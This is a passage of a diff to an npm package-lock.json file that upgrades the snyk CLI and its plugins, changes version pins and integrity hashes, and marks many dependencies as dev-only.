"^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + }, + "dependencies": { + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + } } }, "signal-exit": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.3.tgz", - "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==" + "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==", + "dev": true }, "slash": { "version": "2.0.0", @@ -14745,11 +18331,6 @@ } } }, - "smart-buffer": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.1.0.tgz", - "integrity": "sha512-iVICrxOzCynf/SNaBQCw34eM9jROU/s5rzIhpOvzhzuYHfJR/DhZfDkXiZSgKXfgv26HT3Yni3AV/DGw0cGnnw==" - }, "snapdragon": { "version": "0.8.2", "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", @@ -14858,18 +18439,21 @@ } }, "snyk": { - "version": "1.373.1", - "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.373.1.tgz", - "integrity": "sha512-R8f0IpBPlK5fMytP9X1Nrk//u2NKHQ+kv/PFi0SaCW80ksFP3zrC8oKXYBkvfYTm+56TVw8cZm888DwvEOL5zg==", + "version": "1.535.0", + "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.535.0.tgz", + "integrity": "sha512-NQpGzXb66WvMGkZ2vye58LST1lJFN+diEQ76dlTdh/e2KgFb/qmevo/VgDqAsMsFW6h0rE8V6tFqVBDb8mfEBw==", + "dev": true, "requires": { - "@snyk/cli-interface": "2.8.1", - "@snyk/dep-graph": "1.18.3", + "@open-policy-agent/opa-wasm": "^1.2.0", + "@snyk/cli-interface": "2.11.0", + "@snyk/code-client": "3.4.0", + "@snyk/dep-graph": "^1.27.1", + "@snyk/fix": "1.526.0", "@snyk/gemfile": "1.2.0", - "@snyk/graphlib": "2.1.9-patch", - "@snyk/inquirer": "6.2.2-patch", - "@snyk/lodash": "^4.17.15-patch", - "@snyk/ruby-semver": "2.2.0", - "@snyk/snyk-cocoapods-plugin": "2.3.0", + "@snyk/graphlib": "^2.1.9-patch.3", + "@snyk/inquirer": "^7.3.3-patch", + "@snyk/snyk-cocoapods-plugin": "2.5.2", + "@snyk/snyk-hex-plugin": "1.1.1", "abbrev": "^1.1.1", "ansi-escapes": "3.2.0", "chalk": "^2.4.2", @@ -14877,31 +18461,54 @@ "configstore": "^5.0.1", "debug": "^4.1.1", "diff": "^4.0.1", - "glob": "^7.1.3", - "needle": "^2.5.0", + "global-agent": "^2.1.12", + "hcl-to-json": "^0.1.1", + "lodash.assign": "^4.2.0", + "lodash.camelcase": "^4.3.0", + "lodash.clonedeep": "^4.5.0", + "lodash.endswith": "^4.2.1", + "lodash.flatten": "^4.4.0", + "lodash.flattendeep": "^4.4.0", + "lodash.get": "^4.4.2", + "lodash.groupby": "^4.6.0", + "lodash.isempty": "^4.4.0", + "lodash.isobject": "^3.0.2", + "lodash.map": "^4.6.0", + "lodash.omit": "^4.5.0", + "lodash.orderby": "^4.6.0", + "lodash.sortby": "^4.7.0", + "lodash.uniq": "^4.5.0", + "lodash.upperfirst": "^4.3.1", + "lodash.values": "^4.3.0", + "micromatch": "4.0.2", + "needle": "2.6.0", "open": "^7.0.3", + "ora": "5.3.0", "os-name": "^3.0.0", - "proxy-agent": "^3.1.1", + "promise-queue": "^2.2.5", "proxy-from-env": "^1.0.0", + "rimraf": "^2.6.3", "semver": "^6.0.0", - "snyk-config": "3.1.0", - "snyk-docker-plugin": "3.16.0", - "snyk-go-plugin": "1.16.0", - "snyk-gradle-plugin": "3.5.1", + "snyk-config": "4.0.0", + "snyk-cpp-plugin": "2.2.1", + "snyk-docker-plugin": "4.19.3", + "snyk-go-plugin": "1.17.0", + "snyk-gradle-plugin": "3.14.0", "snyk-module": "3.1.0", - "snyk-mvn-plugin": "2.19.1", - "snyk-nodejs-lockfile-parser": "1.26.3", - "snyk-nuget-plugin": "1.18.1", - "snyk-php-plugin": "1.9.0", - "snyk-policy": "1.14.1", - "snyk-python-plugin": "1.17.1", - "snyk-resolve": "1.0.1", - "snyk-resolve-deps": "4.4.0", + "snyk-mvn-plugin": "2.25.3", + "snyk-nodejs-lockfile-parser": "1.32.0", + "snyk-nuget-plugin": "1.21.0", + "snyk-php-plugin": "1.9.2", + "snyk-policy": "1.19.0", + "snyk-python-plugin": "1.19.8", + "snyk-resolve": "1.1.0", + "snyk-resolve-deps": "4.7.2", "snyk-sbt-plugin": "2.11.0", "snyk-tree": "^1.0.0", "snyk-try-require": "1.3.1", "source-map-support": "^0.5.11", "strip-ansi": "^5.2.0", + "tar": "^6.1.0", "tempfile": "^2.0.0", "update-notifier": "^4.1.0", "uuid": "^3.3.2", @@ -14911,81 +18518,279 @@ "ansi-escapes": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", - "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==" + "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", + "dev": true + }, + "ansi-regex": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", + "dev": true + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } }, - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==" + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true }, - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "micromatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", + "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "dev": true, "requires": { - "ms": "^2.1.1" + "braces": "^3.0.1", + "picomatch": "^2.0.5" } }, + "mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true + }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true }, "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true }, "strip-ansi": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, "requires": { "ansi-regex": "^4.1.0" } + }, + "tar": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/tar/-/tar-6.1.0.tgz", + "integrity": "sha512-DUCttfhsnLCjwoDoFcI+B2iJgYa93vBnDUATYEeRx6sntCTdN01VnqsIuTlALXla/LWooNg0yEGeB+Y8WdFxGA==", + "dev": true, + "requires": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^3.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true } } }, "snyk-config": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/snyk-config/-/snyk-config-3.1.0.tgz", - "integrity": "sha512-3UlyogA67/9WOssJ7s4d7gqWQRWyO/LbgdBBNMhhmFDKa7eTUSW+A782CVHgyDSJZ2kNANcMWwMiOL+h3p6zQg==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/snyk-config/-/snyk-config-4.0.0.tgz", + "integrity": "sha512-E6jNe0oUjjzVASWBOAc/mA23DhbzABDF9MI6UZvl0gylh2NSXSXw2/LjlqMNOKL2c1qkbSkzLOdIX5XACoLCAQ==", + "dev": true, "requires": { - "@snyk/lodash": "4.17.15-patch", + "async": "^3.2.0", "debug": "^4.1.1", - "nconf": "^0.10.0" + "lodash.merge": "^4.6.2", + "minimist": "^1.2.5" }, "dependencies": { + "async": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.0.tgz", + "integrity": "sha512-TR2mEZFVOj2pLStYxLht7TyfuRzaydfpxr3k9RpHIzMgw7A64dzsdqCxH1WJyQdoe8T10nDXd9wnEigmiuHIZw==", + "dev": true + }, "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } + } + }, + "snyk-cpp-plugin": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/snyk-cpp-plugin/-/snyk-cpp-plugin-2.2.1.tgz", + "integrity": "sha512-NFwVLMCqKTocY66gcim0ukF6e31VRDJqDapg5sy3vCHqlD1OCNUXSK/aI4VQEEndDrsnFmQepsL5KpEU0dDRIQ==", + "dev": true, + "requires": { + "@snyk/dep-graph": "^1.19.3", + "chalk": "^4.1.0", + "debug": "^4.1.1", + "hosted-git-info": "^3.0.7", + "tslib": "^2.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "hosted-git-info": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-3.0.8.tgz", + "integrity": "sha512-aXpmwoOhRBrw6X3j0h5RloK4x1OzsxMPyxqIHyNfSe2pypkVTZFpEiRoSipPEPlMrh0HW/XsjkJ5WgnCirpNUw==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "tslib": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true } } }, "snyk-docker-plugin": { - "version": "3.16.0", - "resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-3.16.0.tgz", - "integrity": "sha512-i11WxMhsZxcFKn123LeA+u77NN7uWqWgPfQ6dvkACJnvouWHZidkOAxBOmYU49x8VS7dEQSe2Ym0bgr6EHn4cQ==", + "version": "4.19.3", + "resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-4.19.3.tgz", + "integrity": "sha512-5WkXyT7uY5NrTOvEqxeMqb6dDcskT3c/gbHUTOyPuvE6tMut+OOYK8RRXbwZFeLzpS8asq4e1R7U7syYG3VXwg==", + "dev": true, "requires": { + "@snyk/dep-graph": "^1.21.0", "@snyk/rpm-parser": "^2.0.0", - "@snyk/snyk-docker-pull": "^3.2.0", + "@snyk/snyk-docker-pull": "3.2.3", + "chalk": "^2.4.2", "debug": "^4.1.1", "docker-modem": "2.1.3", - "dockerfile-ast": "0.0.19", + "dockerfile-ast": "0.2.0", + "elfy": "^1.0.0", "event-loop-spinner": "^2.0.0", "gunzip-maybe": "^1.4.2", "mkdirp": "^1.0.4", - "semver": "^6.1.0", - "snyk-nodejs-lockfile-parser": "1.22.0", + "semver": "^7.3.4", + "snyk-nodejs-lockfile-parser": "1.30.2", "tar-stream": "^2.1.0", "tmp": "^0.2.1", "tslib": "^1", @@ -14993,79 +18798,95 @@ }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" + } + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" } }, "mkdirp": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", - "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==" + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true }, "rimraf": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, "requires": { "glob": "^7.1.3" } }, "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } }, "snyk-nodejs-lockfile-parser": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.22.0.tgz", - "integrity": "sha512-l6jLoJxqcIIkQopSdQuAstXdMw5AIgLu+uGc5CYpHyw8fYqOwna8rawwofNeGuwJAAv4nEiNiexeYaR88OCq6Q==", - "requires": { - "@snyk/graphlib": "2.1.9-patch", - "@snyk/lodash": "^4.17.15-patch", - "@yarnpkg/lockfile": "^1.0.2", - "event-loop-spinner": "^1.1.0", + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.30.2.tgz", + "integrity": "sha512-wI3VXVYO/ok0uaQm5i+Koo4rKBNilYC/QRIQFlyGbZXf+WBdRcTBKVDfTy8uNfUhMRSGzd84lNclMnetU9Y+vw==", + "dev": true, + "requires": { + "@snyk/graphlib": "2.1.9-patch.3", + "@yarnpkg/lockfile": "^1.1.0", + "event-loop-spinner": "^2.0.0", + "got": "11.4.0", + "lodash.clonedeep": "^4.5.0", + "lodash.flatmap": "^4.5.0", + "lodash.isempty": "^4.4.0", + "lodash.set": "^4.3.2", + "lodash.topairs": "^4.3.0", "p-map": "2.1.0", - "snyk-config": "^3.0.0", - "source-map-support": "^0.5.7", + "snyk-config": "^4.0.0-rc.2", "tslib": "^1.9.3", - "uuid": "^3.3.2" - }, - "dependencies": { - "event-loop-spinner": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-1.1.0.tgz", - "integrity": "sha512-YVFs6dPpZIgH665kKckDktEVvSBccSYJmoZUfhNUdv5d3Xv+Q+SKF4Xis1jolq9aBzuW1ZZhQh/m/zU/TPdDhw==", - "requires": { - "tslib": "^1.10.0" - } - }, - "uuid": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", - "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" - } + "uuid": "^8.3.0", + "yaml": "^1.9.2" } }, "tmp": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "dev": true, "requires": { "rimraf": "^3.0.0" } }, "uuid": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.0.tgz", - "integrity": "sha512-fX6Z5o4m6XsXBdli9g7DtWgAx+osMsRRZFKma1mIUsLCz6vRvv+pz5VNbyu9UEDzpMWulZfvpgb/cmDXVulYFQ==" + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true } } }, @@ -15073,97 +18894,55 @@ "version": "1.4.1", "resolved": "https://registry.npmjs.org/snyk-go-parser/-/snyk-go-parser-1.4.1.tgz", "integrity": "sha512-StU3uHB85VMEkcgXta63M0Fgd+9cs5sMCjQXTBoYTdE4dxarPn7U67yCuwkRRdZdny1ZXtzfY8LKns9i0+dy9w==", + "dev": true, "requires": { "toml": "^3.0.0", "tslib": "^1.10.0" } }, "snyk-go-plugin": { - "version": "1.16.0", - "resolved": "https://registry.npmjs.org/snyk-go-plugin/-/snyk-go-plugin-1.16.0.tgz", - "integrity": "sha512-XNGHEFyP+pCzcqmXnj5T/1Oy6AZzm2WkTSuUpohWQ/09ecMRCCv2yrr/kwMQemrKN4+7CoJS/9xfm3GnNlzVHA==", + "version": "1.17.0", + "resolved": "https://registry.npmjs.org/snyk-go-plugin/-/snyk-go-plugin-1.17.0.tgz", + "integrity": "sha512-1jAYPRgMapO2BYL+HWsUq5gsAiDGmI0Pn7omc0lk24tcUOMhUB+1hb0u9WBMNzHvXBjevBkjOctjpnt2hMKN6Q==", + "dev": true, "requires": { - "@snyk/dep-graph": "1.19.3", - "@snyk/graphlib": "2.1.9-patch", + "@snyk/dep-graph": "^1.23.1", + "@snyk/graphlib": "2.1.9-patch.3", "debug": "^4.1.1", "snyk-go-parser": "1.4.1", - "tmp": "0.2.0", + "tmp": "0.2.1", "tslib": "^1.10.0" }, "dependencies": { - "@snyk/dep-graph": { - "version": "1.19.3", - "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.3.tgz", - "integrity": "sha512-WJLUFKBokoFK5imi0t8Dkyj+uqtS/5Ziuf4oE/OOFX30UqP1ffMDkv9/3sqBJQVQ9FjdgsX3Cm8JZMtMlYRc6w==", - "requires": { - "@snyk/graphlib": "2.1.9-patch.2", - "lodash.isequal": "^4.5.0", - "object-hash": "^2.0.3", - "semver": "^6.0.0", - "source-map-support": "^0.5.19", - "tslib": "^1.13.0" - }, - "dependencies": { - "@snyk/graphlib": { - "version": "2.1.9-patch.2", - "resolved": "https://registry.npmjs.org/@snyk/graphlib/-/graphlib-2.1.9-patch.2.tgz", - "integrity": "sha512-BjJzOXDNzoEMBOjSks7vadu5f0c39SeorJMi9vUvvWM5dcE22CZqcN9VMRW5DYTifUJiCWszkm5TOyfYfB0bfg==", - "requires": { - "lodash.clone": "^4.5.0", - "lodash.constant": "^3.0.0", - "lodash.filter": "^4.6.0", - "lodash.foreach": "^4.5.0", - "lodash.has": "^4.5.2", - "lodash.isarray": "^4.0.0", - "lodash.isempty": "^4.4.0", - "lodash.isfunction": "^3.0.9", - "lodash.isundefined": "^3.0.1", - "lodash.keys": "^4.2.0", - "lodash.map": "^4.6.0", - "lodash.reduce": "^4.6.0", - "lodash.size": "^4.2.0", - "lodash.transform": "^4.6.0", - "lodash.union": "^4.6.0", - "lodash.values": "^4.3.0" - } - }, - "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": 